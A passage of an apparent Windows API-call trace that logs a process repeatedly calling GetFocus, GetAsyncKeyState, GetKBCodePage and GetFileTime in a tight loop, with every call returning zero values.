lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.605] GetFocus () returned 0x0 [0034.605] GetAsyncKeyState (vKey=58) returned 0 [0034.605] GetKBCodePage () returned 0x1b5 [0034.605] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.606] GetAsyncKeyState (vKey=58) returned 0 [0034.606] GetKBCodePage () returned 0x1b5 [0034.606] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.606] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.607] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.607] GetFocus () returned 0x0 [0034.607] GetAsyncKeyState (vKey=58) returned 0 [0034.607] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.608] GetFocus () returned 0x0 [0034.608] GetAsyncKeyState (vKey=58) returned 0 [0034.608] GetKBCodePage () returned 0x1b5 [0034.608] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.609] GetAsyncKeyState (vKey=58) returned 0 [0034.609] GetKBCodePage () returned 0x1b5 [0034.609] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.609] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 